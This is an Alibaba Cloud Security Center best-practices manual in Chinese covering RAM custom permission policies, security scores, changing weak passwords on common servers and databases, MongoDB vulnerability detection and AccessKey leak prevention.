
阿里云

云安全中心（态势感知）
最佳实践

文档版本：20220621

阿里云

云安全中心（态势感知）
最佳实践

文档版本：20220621



法律声明
阿里云提醒您在阅读或使用本文档之前仔细阅读、充分理解本法律声明各条款的内容。
如果您阅读或使用本文档，您的阅读或使用行为将被视为对本声明全部内容的认可。

1. 您应当通过阿里云网站或阿里云提供的其他授权通道下载、获取本文档，且仅能用
于自身的合法合规的业务活动。本文档的内容视为阿里云的保密信息，您应当严格
遵守保密义务；未经阿里云事先书面同意，您不得向任何第三方披露本手册内容或
提供给任何第三方使用。

2. 未经阿里云事先书面许可，任何单位、公司或个人不得擅自摘抄、翻译、复制本文
档内容的部分或全部，不得以任何方式或途径进行传播和宣传。

3. 由于产品版本升级、调整或其他原因，本文档内容有可能变更。阿里云保留在没有
任何通知或者提示下对本文档的内容进行修改的权利，并在阿里云授权通道中不时
发布更新后的用户文档。您应当实时关注用户文档的版本变更并通过阿里云授权渠
道下载、获取最新版的用户文档。

4. 本文档仅作为用户使用阿里云产品及服务的参考性指引，阿里云以产品及服务
的“现状”、“有缺陷”和“当前功能”的状态提供本文档。阿里云在现有技术的
基础上尽最大努力提供相应的介绍及操作指引，但阿里云在此明确声明对本文档内
容的准确性、完整性、适用性、可靠性等不作任何明示或暗示的保证。任何单位、
公司或个人因为下载、使用或信赖本文档而发生任何差错或经济损失的，阿里云不
承担任何法律责任。在任何情况下，阿里云均不对任何间接性、后果性、惩戒性、
偶然性、特殊性或刑罚性的损害，包括用户使用或信赖本文档而遭受的利润损失，
承担责任（即使阿里云已被告知该等损失的可能性）。

5. 阿里云网站上所有内容，包括但不限于著作、产品、图片、档案、资讯、资料、网
站架构、网站画面的安排、网页设计，均由阿里云和/或其关联公司依法拥有其知识
产权，包括但不限于商标权、专利权、著作权、商业秘密等。非经阿里云和/或其关
联公司书面同意，任何人不得擅自使用、修改、复制、公开传播、改变、散布、发
行或公开发表阿里云网站、产品程序或内容。此外，未经阿里云事先书面同意，任
何人不得为了任何营销、广告、促销或其他目的使用、公布或复制阿里云的名称
（包括但不限于单独为或以组合形式包含“阿里云”、“Aliyun”、“万网”等阿
里云和/或其关联公司品牌，上述品牌的附属标志及图案或任何类似公司名称、商
号、商标、产品或服务名称、域名、图案标示、标志、标识或通过特定描述使第三
方能够识别阿里云和/或其关联公司）。

6. 如若发现本文档存在任何错误，请与阿里云取得直接联系。
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通用约定
格式 说明 样例

 危险 该类警示信息将导致系统重大变更甚至故
障，或者导致人身伤害等结果。

 危险

重置操作将丢失用户配置数据。

 警告 该类警示信息可能会导致系统重大变更甚
至故障，或者导致人身伤害等结果。

 警告

重启操作将导致业务中断，恢复业务
时间约十分钟。

 注意 用于警示信息、补充说明等，是用户必须
了解的内容。

 注意

权重设置为0，该服务器不会再接受新
请求。

 说明 用于补充说明、最佳实践、窍门等，不是
用户必须了解的内容。

 说明

您也可以通过按Ct rl+A选中全部文
件。

> 多级菜单递进。 单击设置> 网络> 设置网络类型。

粗体 表示按键、菜单、页面名称等UI元素。 在结果确认页面，单击确定。

Courier字体 命令或代码。
执行 cd /d C:/window 命令，进入
Windows系统文件夹。

斜体 表示参数、变量。
bae log list  --inst anceid

Inst ance_ID

[] 或者 [a|b] 表示可选项，至多选择一个。 ipconfig [-all|-t ]

{} 或者 {a|b} 表示必选项，至多选择一个。 swit ch {act ive|st and}
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本文介绍如何自定义云安全中心的访问控制权限，并授予RAM用户使用云安全中心不同功能的权限，实现精
细化的权限管理。

背景信息
阿里云访问控制服务为各云产品提供默认的访问控制系统策略，同时支持用户自定义访问控制策略。系统策
略由阿里云默认创建，不支持修改。

说明  云安全中心支持的默认策略为  AliyunYundunSASFullAccess （表示允许RAM用户对云安全
中心的所有功能进行操作）和  AliyunYundunSASReadOnlyAccess （表示允许RAM用户只读访问云安全
中心的所有数据）。

如果您需要对RAM用户访问和操作云产品进行更精确地限制，您可以使用自定义权限（即RAM Policy）。

本文以自定义资产中心的权限为例，介绍自定义权限策略配置的流程。建议您提前了解权限策略的相关信
息，更多信息，请参见权限策略语法和结构。有关访问控制的基本概念介绍，请参见基本概念。

前提条件
已创建RAM用户。更多信息，请参见创建RAM用户。

步骤一：创建云安全中心自定义权限策略
1. 使用阿里云账号登录RAM控制台。

2. 在左侧导航栏，选择权限管理 > 权限策略。

3. 在权限策略页面，单击创建权限策略。

4. 在创建权限策略页面，单击脚本编辑页签。

5. 在脚本编辑页签下，根据要自定义的权限策略类型配置策略内容。

配置脚本如下：

授权RAM用户资产中心只读权限
以下策略表示授予RAM用户只读资产中心的资产列表、服务器各项统计数据、资产列表的权限，您可
以通过设置  yundun-sas:DescribeCloudCenterInstances 、  yundun-sas:DescribeFieldStatisti
cs 和  yundun-sas:DescribeCriteria 来进行授权。

{
    "Version": "1",
    "Statement": [
        {
           "Action": [
                     "yundun-sas:DescribeCloudCenterInstances",
                     "yundun-sas:DescribeFieldStatistics",
                     "yundun-sas:DescribeCriteria"
                     ],
            "Resource": "*",
            "Effect": "Allow"
        }
    ]
}

授予RAM用户资产中心安全检查的权限

1.RAM用户自定义权限最佳实践
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以下策略表示授权RAM用户（在步骤二中绑定对应的RAM账户完成授权）执行资产中心安全检查的权
限。您可以通过设置  yundun-sas:ModifyPushAllTask 来进行该授权。

{
    "Version": "1",
    "Statement": [
        {
            "Action": "yundun-sas:ModifyPushAllTask",
            "Resource": "*",
            "Effect": "Allow"
        }
    ]
}

授权RAM用户漏洞修复只读权限
以下策略表示授予RAM用户（在步骤二中绑定对应的RAM账户完成授权）只读漏洞修复的漏洞列表、
漏洞白名单的权限，您可以通过设置  yundun-aegis:DescribeVulList 和  yundun-sas:DescribeVu
lWhitelist 来进行授权。

{
    "Version": "1",
    "Statement": [
        {
           "Action": [
                     "yundun-aegis:DescribeVulList",
                     "yundun-sas:DescribeVulWhitelist"
                     ],
            "Resource": "*",
            "Effect": "Allow"
        }
    ]
}

授予RAM用户修复漏洞的权限
以下策略表示授权RAM用户（在步骤二中绑定对应的RAM账户完成授权）允许执行漏洞修复的权限。
您可以通过设置  yundun-aegis:OperateVul 来进行该授权。

{
    "Version": "1",
    "Statement": [
        {
           "Action": "yundun-aegis:OperateVul",
            "Resource": "*",
            "Effect": "Allow"
        }
    ]
}

6. 单击下一步：编辑基本信息，然后输入权限策略的名称和备注。

7. 单击确定。

步骤二：为RAM用户授权
1. 使用阿里云账号登录RAM控制台。

最佳实践·RAM用户自定义权限最佳实
践
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2. 在左侧导航栏选择权限管理 > 授权。

3. 在授权页面，单击新增授权。

4. 在授权主体区域，选择需要授权的RAM用户。

新创建的RAM用户默认不支持任何权限。

5. 在选择权限区域，选择自定义策略，并选择在步骤一中创建的云安全中心自定义策略，单击确定，然
后单击完成。

支持自定义权限策略的操作
以下各表格介绍了云安全中心主要的功能模块支持的自定义权限策略：

资产中心

RAM权限策略Action 描述 支持的API

yundun-
sas:DescribeCloudCenterInstance
s

查询资产列表信息。包括资产的类
型、是否存在安全告警、客户端在线
状态等。

DescribeCloudCenterInstances

yundun-
sas:DescribeFieldStatistics

查询您资产中服务器的统计信息。 DescribeFieldStatistics

yundun-sas:DescribeCriteria
获取查询资产时，输入的模糊匹配值
对应的查询条件信息。

DescribeCriteria

yundun-sas:ModifyPushAllTask 对服务器执行安全检查任务。 ModifyPushAllTask

yundun-
sas:DescribeDomainCount

获取域名资产的数量。 DescribeDomainCount

yundun-sas:DeleteGroup 删除资产的分组。 DeleteGroup

yundun-
sas:DescribeSearchCondition

查询资产的筛选条件。 DescribeSearchCondition

yundun-
sas:DescribeImageStatistics

查询容器镜像资产的风险统计信息。 DescribeImageStatistics

yundun-
sas:DescribeGroupedTags

查询资产标签的统计信息。 DescribeGroupedTags

yundun-
sas:DescribeDomainCount

获取域名资产数量。 DescribeDomainCount

yundun-
sas:DescribeCloudProductFieldSt
atistics

获取云产品统计信息。
DescribeCloudProductFieldStatisti
cs

yundun-
sas:DescribeCloudCenterInstance
s

查询资产信息。 DescribeCloudCenterInstances

yundun-sas:DescribeAllGroups 查询所有服务器分组信息。 DescribeAllGroups
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yundun-sas:DeleteGroup 删除服务器分组。 DeleteGroup

yundun-
sas:CreateOrUpdateAssetGroup

创建服务器分组或修改服务器分组下
的服务器。

CreateOrUpdateAssetGroup

yundun-
sas:DescribeInstanceStatistics

查询资产的风险统计信息。 DescribeInstanceStatistics

yundun-sas:PauseClient 启用或暂停Agent客户端。 PauseClient

yundun-sas:ModifyTagWithUuid
修改资产的标签名称或修改指定标签
下包含的资产。

ModifyTagWithUuid

yundun-sas:RefreshAssets 同步最新资产。 RefreshAssets

yundun-sas:ExportRecord
导出资产中心、云平台配置检查、镜
像安全扫描、攻击分析、AK泄露检
测等页面的检测结果的Excel文件。

ExportRecord

yundun-sas:DescribeExportInfo 查看资产导出任务的进度。 DescribeExportInfo

yundun-sas:DescribeDomainList 查询域名资产信息列表。 DescribeDomainList

yundun-
sas:DescribeDomainDetail

获取域名资产详情。 DescribeDomainDetail

yundun-
aegis:DescribeAssetDetailByUuid

使用资产的UUID查询资产的详情。 DescribeAssetDetailByUuid

RAM权限策略Action 描述 支持的API

漏洞修复

RAM权限策略Action 描述 支持的API

yundun-sas:DescribeVulWhitelist 分页查询漏洞白名单。 DescribeVulWhitelist

yundun-sas:ModifyOperateVul
对检测到的漏洞进行处理，处理方式
包括修复、验证、忽略等。

ModifyOperateVul

yundun-
sas:ModifyVulTargetConfig

设置单台服务器的漏洞检测配置。 ModifyVulTargetConfig

yundun-
aegis:DescribeConcernNecessity

查询关注的漏洞修复必要性信息。 DescribeConcernNecessity

yundun-aegis:DescribeVulList 根据漏洞类型查询对应漏洞信息。 DescribeVulList

yundun-aegis:ModifyOperateVul
对检测到的漏洞进行处理，处理方式
包括修复、验证、忽略等。

ModifyOperateVul

yundun-
aegis:DescribeImageVulList

查看镜像安全扫描的漏洞的详情及受
漏洞影响容器镜像的信息列表。

DescribeImageVulList
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yundun-aegis:ExportVul 导出漏洞列表。 ExportVul - 导出漏洞列表

yundun-
aegis:DescribeVulExportInfo

查看漏洞导出任务的进度。
DescribeVulExportInfo - 查看漏洞
导出任务的进度

RAM权限策略Action 描述 支持的API

说明  多数情况下RAM自定义权限策略中的Action与该云产品的API一一对应，但也有例外。

相关文档
权限策略基本元素

权限策略语法和结构

通过RAM限制用户的访问IP地址

通过RAM限制用户的访问时间段
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如果需要为运维人员自定义云安全中心的访问控制权限，例如只允许运维人员使用漏洞扫描、漏洞修复和基
线检查功能，您可以在RAM控制台创建自定义策略并为运维人员的RAM用户授权，实现精细化权限管理。本
文介绍如何为运维人员自定义云安全中心的访问控制权限。

背景信息
阿里云访问控制服务为各云产品提供默认的访问控制系统策略，同时支持用户自定义访问控制策略。您可以
使用自定义权限对RAM用户访问和操作云安全中心进行精确的限制。本文仅介绍如何对运维人员进行权限策
略设置，实现只允许运维人员使用漏洞扫描、漏洞修复、基线检查和资产中心的功能。如果有其他的精细化
权限管理需求，您可以自定义权限策略。具体操作，请参见RAM用户自定义权限最佳实践。

前提条件
已为运维人员创建RAM用户。具体操作，请参见创建RAM用户。

步骤一：为运维人员创建云安全中心自定义权限策略
1. 使用阿里云账号登录RAM控制台。

2. 在左侧导航栏，选择权限管理 > 权限策略。

3. 在权限策略页面，单击创建权限策略。

4. 在创建权限策略页面，单击脚本编辑页签。

在策略内容中输入以下内容。

{
    "Version": "1",
    "Statement": [{
            "Action": [
                "yundun-aegis:OperateVul",
                "yundun-aegis:ModifyStartVulScan"
            ],
            "Resource": "*",
            "Effect": "Allow"
        },
        {
            "Action": [
                "yundun-aegis:FixCheckWarnings",
                "yundun-aegis:IgnoreHcCheckWarnings",
                "yundun-aegis:ValidateHcWarnings"
            ],
            "Resource": "*",
            "Effect": "Allow"
        },
        {
            "Action": "ecs:RebootInstance",
            "Effect": "Allow",
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "acs:MFAPresent": "true"
                }

2.云安全中心自定义运维权限最佳实
践
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                }
            }
        },
        {
            "Action": "ecs:*",
            "Effect": "Allow",
            "Resource": [
                "acs:ecs:*:*:*"
            ]
        },
        {
            "Action": "ecs:CreateSnapshot",
            "Effect": "Allow",
            "Resource": [
                "acs:ecs:*:*:*",
                "acs:ecs:*:*:snapshot/*"
            ]
        },
        {
            "Action": [
                "ecs:Describe*"
            ],
            "Effect": "Allow",
            "Resource": "*"
        }, {
            "Action": [
                "yundun-sas:ModifyPushAllTask",
                "yundun-sas:DeleteTagWithUuid",
                "yundun-sas:ModifyTagWithUuid",
                "yundun-sas:CreateOrUpdateAssetGroup",
                "yundun-sas:DeleteGroup",
                "yundun-sas:ModifyAssetImportant",
                "yundun-sas:RefreshAssets"
            ],
            "Resource": "*",
            "Effect": "Allow"
        }
    ]
}

说明  以上策略允许RAM用户使用漏洞扫描、漏洞修复、基线检查和资产中心功能并进行相关
操作。添加该策略后，RAM用户具体可以执行的操作，请参见权限策略Action说明表格中的Action
及其说明。

5. 单击下一步：编辑基本信息，然后输入权限策略的名称和备注。

6. 单击确定。

步骤二：为运维人员使用的RAM用户授权
1. 使用阿里云账号登录RAM控制台。

2. 在左侧导航栏，单击权限管理 > 授权。

3. 在授权页面，单击新增授权。

云安全中心（态势感知） 最佳实践·云安全中心自定义运维权限
最佳实践
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4. 在授权主体区域，选择需要授权的运维人员的RAM用户。

新创建的RAM用户默认不支持任何权限。

5. 在选择权限区域，选择需要授予运维人员RAM用户的权限。

您需要按照以下步骤选择权限。

i. 在系统策略页签下，搜索并选择AliyunYundunSASReadOnlyAccess策略。

该系统策略可以授予运维人员只读访问云安全中心服务的权限。

ii. 单击自定义策略页签，选择步骤一中创建的自定义策略。

该自定义策略可以授予运维人员管理云安全中心资产中心、漏洞扫描、漏洞修复和基线检查功能的
权限，例如为服务器执行安全检查、执行一键漏洞扫描、修复漏洞等权限。

6. 单击确定。

权限策略Action说明

功能模块 Action 说明

漏洞修复

yundun-aegis:OperateVul
处理漏洞，包括执行验证漏洞、忽略漏洞、修复
漏洞等操作。

yundun-
aegis:ModifyStartVulScan

一键扫描漏洞。

ecs:RebootInstance 漏洞修复后重启实例。

ecs:CreateSnapshot 修复漏洞前创建快照。

基线检查

yundun-
aegis:FixCheckWarnings

修复基线检查风险项。

yundun-
aegis:IgnoreHcCheckWarnin
gs

忽略或取消忽略基线检查风险项。

yundun-
aegis:ValidateHcWarnings

验证基线检查风险项。

资产中心

yundun-
sas:ModifyPushAllTask

为服务器执行安全检查任务。

yundun-
sas:DeleteTagWithUuid

删除自定义标签。

yundun-
sas:ModifyTagWithUuid

修改标签与服务器或云产品的关系。

yundun-
sas:CreateOrUpdateAssetGr
oup

修改服务器与服务器分组的关系。

yundun-sas:DeleteGroup 删除服务器分组。

最佳实践·云安全中心自定义运维权限
最佳实践
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yundun-
sas:ModifyAssetImportant

修改资产重要性标签。

yundun-sas:RefreshAssets 同步最新资产。

功能模块 Action 说明

相关文档
RAM用户自定义权限最佳实践

通过RAM管控多运维人员的权限

权限策略基本元素

权限策略语法和结构
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云安全中心是一款实时识别、分析、预警安全威胁的统一安全管理系统。通过防勒索、防病毒、防篡改、合
规检查等安全能力， 帮助您实现威胁检测、响应、溯源的自动化安全运营闭环，保护云上资产和本地主机并
满足监管合规要求。ECS服务器默认受到云安全中心基础版的防护。
云安全中心防病毒版及以上版本支持病毒自动隔离，可对目前部分主流勒索病毒（如WannaCry和
Globelmposter）、DDoS木马（如XorDDos和BillGates）进行主动防护和主动隔离。建议您启用该功能，提
升您资产的安全防线。如何启用自动隔离功能，请参见云安全中心主动防御。

云安全中心各版本的功能详情，请参见功能特性。

前提条件
您在购买ECS实例时，需勾选安全加固选项，云安全中心才会对您的ECS服务器提供安全防护。

查看ECS实例概览信息
您可以登录ECS管理控制台，在概览页面单击立即处理，跳转到云安全中心总览页面，查看ECS的安全详
情。

您可在云安全中心总览页面查看资产的威胁概览信息和安全评分信息，例如待处理的告警事件数量及其紧急
程度、检测到的告警事件总数等信息。详细信息，请参见总览。

3.快速掌握ECS安全态势
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单击待处理告警、待修复漏洞、基线问题或攻击次数模块的立即处理，可进入对应的功能模块查看资产
威胁的具体详情并进行处理。

查看单个ECS实例安全详情
您可以在ECS管理控制台的实例页面，单击实例列表中的阿里云云盾图标跳转到云安全中心控制台资产中
心页面，查看单个ECS实例的安全详情。

在云安全中心的资产中心页面查看单个ECS实例的安全详情。更多信息，请参见查看单个资产详情。

说明  如果资产列表页面中，单个资产的客户端状态为离线，说明云安全中心Agent已离
线，Agent离线的服务器将不受云安全中心的保护。您需在云安全中心控制台设置 > 安装/卸载插件页
面定位到该服务器并进行安装客户端操作。具体操作，请参见安装或卸载插件。

云安全中心（态势感知） 最佳实践·快速掌握ECS安全态势
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云安全中心总览页面根据您资产整体的安全状态展示当前的安全评分。安全评分越高说明您系统的安全隐患
越少。如果您资产的安全评分低于95分，建议您尽快处理检测出的安全风险问题。本文介绍如何提高资产的
安全评分。

背景信息
安全评分分值说明，请参见安全分值表。

安全评分扣分标准，请参见安全评分扣分项目表。

处理安全风险
1. 登录云安全中心控制台。

2. 在总览页面安全评分模块，单击立即处理。

3. 在安全风险处理面板定位到需要处理风险的模块，单击右侧立即处理。

4. 在跳转后的相应模块处理安全风险事件。

4.提高安全评分最佳实践
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您可以参考以下操作指导处理资产中存在的安全风险。

配置防暴力破解规则：在威胁检测 > 安全告警处理页面页面，单击右上角安全告警设置，在防暴
力破解页签配置防暴力破解规则。具体操作，请参见配置防暴力破解规则。

开启防勒索策略：在主动防御 > 病毒防御页面开通病毒防御功能并配置防勒索相关策略。具体操
作，请参见开通服务、创建防护策略。

处理安全告警：在威胁检测 > 安全告警处理页面处理相应告警。具体操作，请参见查看和处理告警
事件。

修复漏洞：在安全防范 > 漏洞修复页面处理资产中存在的漏洞。

修复Linux软件漏洞的具体操作，请参见Linux软件漏洞。

修复Windows系统漏洞的具体操作，请参见Windows系统漏洞。

修复Web-CMS漏洞的具体操作，请参见Web-CMS漏洞。

处理应用漏洞的具体操作，请参见应用漏洞。

处理应急漏洞的具体操作，请参见应急漏洞。

基线问题：在安全防范 > 基线检查页面处理基线检查风险。具体操作，请参见查看和处理基线检查
结果。

云平台配置风险：在安全防范 > 云平台配置检查页面处理云平台配置检查风险。具体操作，请参
见查看和处理云平台配置检查结果。

AK泄露问题：在威胁检测 > AK泄露检测页面处理AK泄露事件。具体操作，请参见AK泄露检测。

所有安全风险处理完成后安全评分可达到95分。

说明

安全风险处理页面其他 > 存在攻击事件的扣分仅表示您的资产受到过攻击，该模块无需进行处
理。您可在威胁检测 > 攻击分析页面查看云安全中心已成功拦截的攻击记录。攻击分析更多信
息，请参见攻击分析。

云安全中心防病毒版不支持基线检查、攻击分析功能，因此这两项没有纳入防病毒版的安全评分
中。

云安全中心高级版不支持攻击分析功能，因此该项没有纳入高级版的安全评分中。

相关文档
安全分值表

安全评分扣分项目表
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安全评分FAQ

最佳实践·提高安全评分最佳实践 云安全中心（态势感知）

18 > 文档版本：20220621

https://help.aliyun.com/document_detail/169679.html#task-2491815/section-eob-pzz-exs


如果您的服务器使用弱口令登录，黑客可能会非法登录您的服务器，窃取服务器数据或破坏服务器。建议您
为服务器设置复杂的登录口令，并定期提升登录口令的安全性。本文介绍如何提升登录口令的安全性以及常
见服务器登录口令的修改方法。

背景信息
在服务器系统中使用弱口令可能会造成以下危害：

个人用户使用的弱口令可能会被猜解或被破解工具破解，从而泄露个人隐私信息，甚至造成财产损失。

系统管理员使用弱口令可能会导致整个系统被攻击、数据库信息被窃取、业务系统瘫痪，造成所有用户信
息的泄露和巨大的经济损失，甚至可能引发群体性的网络安全危害事件。

及时检测弱口令能够有效防止系统被攻击和信息泄露，可以提高系统的安全性。您可以根据以下建议加强您
服务器的安全防护。

参考本文介绍的提升口令安全的方法设置登录口令。具体方法，请参见提升口令安全。

使用云安全中心基线检查功能，检查您的服务器中是否存在高危弱口令风险。如果在您的资产中检测出了
高危弱口令风险，建议您及时修改资产中的弱口令。具体方法，请参见修改常见的服务器弱口令。

提升口令安全
您可以通过以下方法提升登录口令的安全性：

设置复杂密码
复杂密码应同时满足以下要求：

密码长度大于等于8个字符。

至少包含以下三种字符的组合：

大写字母（A~Z）

小写字母（a~z）

数字（0~9）

特殊字符（~、!、@、$、%、^、&、*、-、_、=、+、#、/、?）

密码不能为用户名或用户名的倒序。

不使用常见或公开的弱口令
以下是常见或公开的弱口令：

已公开的常用弱口令。例如abcd1234、admin、root、admin@123等。

数字或字母连排或混排，键盘字母连排。例如123456、abcdef、123abc、qwerty、1qaz2wsx等。

短语密码。例如5201314、woaini1314等。

公司名称、生日、姓名、身份证、手机号、邮箱名、用户ID、时间年份等。

定期修改密码
建议每隔90天更改一次密码。

修改常见的服务器弱口令
以下表格介绍修改Linux服务器、MySQL数据库、Redis数据库等常见系统的登录弱口令的操作防范。

系统名称 修改登录口令操作步骤 说明

5.提升登录口令安全最佳实践
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Linux系统
在Linux系统服务器中，执行passwd
[< user> ]  命令修改用户登录口令。

其中  <user> 为登录用户名，如
果不输入则修改的是当前用户的口
令。执行完命令后请根据提示输入新
口令。

Windows系统

本处以Windows 10为例说明修改用户登录口令的
方法。

1. 登录Windows服务器后，在左下角单击

图标。

2. 单击 图标。

3. 在Windows设置 页面，单击帐户 。

4. 在左侧导航栏单击登录选项 。

5. 根据页面提示更改服务器密码。

无

MySQL数据库

1. 登录MySQL数据库。

2. 执行以下命令查看数据库用户密码信息。

SELECT user, host, 
authentication_string FROM 
user;

说明  部分MySQL数据库版本可能
不支持上述查询命令。如果您执行上述
命令未获得用户密码信息，请您执行以
下命令。

SELECT user, host, password 
FROM user; 

3. 执行以下命令根据查询结果及弱密码告警信
息修改具体用户的密码。

SET PASSWORD FOR '⽤⼾名'@'主机' 
= PASSWORD('新密码'); 

4. 执行刷新命令  flush privileges; 。

无

Redis数据库

1. 打开Redis数据库的配置文件redis.conf。

2. 执行以下命令修改或增加口令。

requirepass <password>；
3. 重启Redis服务。

其中  <password> 为登录口令。
如果已存在登录口令，则将其修改为
复杂口令；如果不存在登录口令，则
添加新口令。

系统名称 修改登录口令操作步骤 说明
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SQL Server数据库

Linux系统登录
登录SQL Server数据库，执行以下命令修改登
录口令。

 exec sp_password 
'<oldpassword>','<newpassword>','
<user>'

Windows认证登录
在SQL Server数据库客户端依次选择安全性  >
登录名  ，选中用户后将弱口令修改为复杂口
令。

其中  <oldpassword> 为旧口
令，  <newpassword> 为新口
令，  <user> 为用户名。

MongoDB数据库

1. 登录MongoDB数据库。

2. 执行  use admin 命令切换到admin用
户。

3. 执行  use <db_name> 命令切换到需要修
改登录口令的数据库。

4. 执行  db.updateUser('<username>',{p
wd:'<newpassword>'}) 命令修改数据库
的登录名和口令。

 db_name 为需要修改登录口令
的数据库名称。

 username 为待修改口令的用
户名，  newpassword 为新口
令。

修改口令完成后，需等待15分钟
才能检测修改后的口令是否为弱
口令。

PostgreSQL数据库

1. 登录PostgreSQL数据库。

2. 执行以下命令修改弱口令。

ALTER USER <user> WITH PASSWORD 
'<newpassword>';

其中  <user> 为用户
名，  <newpassword> 为新口
令。

Tomcat

1. 打开Tomcat根目录下的配置文件conf/tom
cat-user.xml。

2. 修改user节点的password属性值为复杂口
令。

无

Rsync

1. 打开Rsync的配置文件rsyncd.conf。

2. 找到  secrets file 配置项，并在该配置
项中找到  rsyncd.secret 文件的路径。

3. 将rsyncd.secret文件按  ⽤⼾名:⼝令 的形
式编辑，修改对应用户的口令为新的复杂口
令。

4. 重启Rsync服务。

无

系统名称 修改登录口令操作步骤 说明
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SVN

1. 打开版本库目录。

2. 在配置文件<path>/conf/svnserve.conf中
找到  password-db 。

3. 根据password-db配置找到口令配置文件路
径，将该文件中的口令修改为指定的口令
（默认为passwd文件）。

4. 重启SVN服务。

无

vsftpd服务器软件

本地用户

i. 打开配置文件vsftpd.conf。

ii. 增加或修改配置项  anonymous_enable
 的值为NO。
 anonymous_enable 的值为NO表示禁

止匿名登录。

iii. 执行  passwd <ftpuser> 命令修改
FTP用户的口令。
 <ftpuser> 为ftp用户的用户名。

iv. 根据提示设置符合要求的新的复杂口令。

虚拟用户

i. 打开文件/etc/vsftpd/login.txt。

ii. 修改用户名对应的口令并保存。
该文件格式为：第1行是用户A的用户名，
第2行是用户A的口令，第3行是用户B的用
户名，第4行是用户B的口令，以此类推。

iii. 执行  db_load -T -t hash -f /etc/
vsftpd/login.txt /etc/vsftpd/log
in.db 命令。

iv. 修改/etc/pam.d/vsftpd文件。
在存在  auth pam_userdb.so 和  ac
count pam_userdb.so 的行后分别添
加语句  db=/etc/vsftpd/login ，修
改完成后保存。具体位置见下图。

v. 重启vsftpd。

无

系统名称 修改登录口令操作步骤 说明
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云安全中心应急漏洞已发布MongoDB未授权漏洞，该漏洞可直接被黑客远程利用，可能导致您的业务数据
被泄露或勒索。建议您立即进行漏洞检测并按照提供的修复建议尽快修复漏洞。

前提条件
用户已同意应急漏洞检测协议，授权云安全中心进行应急漏洞检测。如果您已完成授权，可忽略此信
息。

安装云安全中心Agent后才能执行漏洞检测。有关如何安装云安全中心Agent，请参见安装Agent。

操作步骤
1. 登录云安全中心控制台。

2. 在左侧导航栏，单击 安全防范 > 漏洞修复 。切换到应急漏洞子页面。

3. 在应急漏洞页面，单击漏洞操作栏的立即检测，开始检测漏洞。

触发检测功能后检测引擎开始工作，该漏洞状态会转为检测中。需要等待一段时间才可完成漏洞检测，
请您耐心等待。

4. 查看是否有风险。
待检查完成后，可以在页面上直接看到检查结果。

有风险检测结果。

无风险检测结果。

5. 查看结果详情。

6.MongoDB漏洞检测最佳实践
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6. 修复漏洞。
如果检测结果显示您的服务器存在风险，参见MongoDB漏洞修复方案进行修复。

7. 验证修复。
漏洞修复完成后，点击验证进行复查，确定漏洞是否已经修复成功。

最佳实践·MongoDB漏洞检测最佳实践 云安全中心（态势感知）
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API凭证（即阿里云AccessKey）是用户访问内部资源最重要的身份凭证。用户调用API时的通信加密和身份
认证会使用API凭证（即基于非对称密钥算法的鉴权密钥对）。API凭证是云上用户调用云服务API、访问云上
资源的唯一身份凭证。
API凭证相当于登录密码，只是使用场景不同。前者用于程序方式调用云服务API，而后者用于登录控制台。

在阿里云，用户可以使用AccessKey（简称AK）构造一个API请求（或者使用云服务SDK）来操作资
源。AccessKey包括AccessKey ID和AccessKey Secret。其中AccessKey ID用于标识用户，AccessKey
Secret是用来验证用户身份合法性的密钥。AccessKey Secret必须保密。

说明  API凭证泄露会导致数据泄露，从而给用户带来严重的损失。

云安全中心实现AK安全自动化检测闭环
云安全中心为了应对用户不慎泄漏AccessKey造成恶劣影响，设计了全方位检测理念，从泄漏前配置检查、
泄漏行为检测、黑客异常调用三点完成检测闭环，为用户的云上业务安全保驾护航。

阿里云已率先和最大的开源代码托管服务商Github合作，引入Token scan机制。

7.AK和账密防泄漏最佳实践
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云安全中心AK检测流程完全自动化，可以对在Github上泄漏的AccessKey进行高效和精准地检测。在实际场
景中，阿里云已实现在含有AccessKey的代码提交到Github后数秒之内，就可以通知用户并且做出响应，尽
可能减少对用户产生的负面影响。

泄露前配置检测-云平台配置检查
在使用云产品的过程中为了防患于未然，您也可以在云安全中心控制台左侧导航栏，单击安全防范 > 云
平台配置检查，进入云平台配置检查页面检查您当前云产品的配置项是否存在安全风险。

确保云产品的操作审计日志处于开启状态，可以帮助您分析是否有异常的调用行为。

确保使用的是RAM用户的AK，而不是主账号AK，并且遵守最小权限原则。这样AK发生泄漏问题不至于
失去整个云账号的控制权限。

确保开启主账号多因素认证（MFA）。开启多因素认证可明显降低因为密码泄漏导致的未授权访问。

用户泄露行为检测-AccessKey泄露检测
您可在云安全中心控制台左侧导航栏，单击威胁检测 > AK泄露检测，进入AccessKey泄露检测页面查
看AK泄漏的详情。

黑客异常调用检测-安全告警处理 > 云产品威胁检测
除了泄漏前的提前预防，在云安全中心控制台安全告警处理模块，您可以筛选并查看云产品威胁检测告
警类型。云安全中心会在发现疑似黑客异常AK调用行为时进行告警，及时提醒用户做出响应，做到泄漏后
及时检测。

补充安全建议
除了上述云安全中心提供的AK泄露检测和响应措施外，建议您在使用阿里云产品过程中遵循以下几点安全规
范，降低凭证泄漏造成的影响：

不要将AccessKey嵌入代码中

最佳实践·AK和账密防泄漏最佳实践 云安全中心（态势感知）
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嵌入代码中的AK凭证容易被人忽视，经验丰富的开发者会将其写入数据库或者独立的文件中，使得其管理
起来更方便。

定期轮换AccessKey
定期更新代码中存在的AccessKey，可保证一些旧的代码泄漏后不会影响当前线上业务。

定期吊销不需要的AccessKey
在阿里云AccessKey控制台可查看最后一次AccessKey的访问时间，建议禁用所有不用的AccessKey。

遵循最小权限原则，使用RAM账户
根据不同业务需要授予不同子账户的读写权限，为不同业务分配不同子账户的AccessKey。

开启操作日志审计，并将其投递至OSS和SLS长期保存和审计
将操作日志存储至OSS，异常情况时可以起到固证的作用；操作日志投递至SLS，帮助您在日志数量大的
时候也能实现高效检索。

云安全中心（态势感知） 最佳实践·AK和账密防泄漏最佳实践
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云安全中心为您提供了通过Linux软件源安装软件的漏洞自动检测和修复能力闭环，并为您修复漏洞提供了更
全面的参考信息。

修复漏洞需要考虑的因素
安全需求：
在了解到漏洞带来的危害之后，您需要对资产进行补丁修复和加固，来满足您特定的安全需求。

稳定性：
修复漏洞可能会需要在您的资产上运行代码或命令，可能会涉及到正在运行的应用或者操作系统核心组件
的软件补丁，需要重启对应的应用或操作系统，这会对您的业务连续性造成一定的影响。对于生产环境，
或者其他高稳定性要求的环境，您需要充分利用各种信息形成综合决策，最终决定修复哪些漏洞及修复漏
洞的顺序。

云安全中心漏洞功能提供的信息
扫描漏洞

云安全中心支持扫描以下类型的漏洞：

Linux软件漏洞

Windows系统漏洞

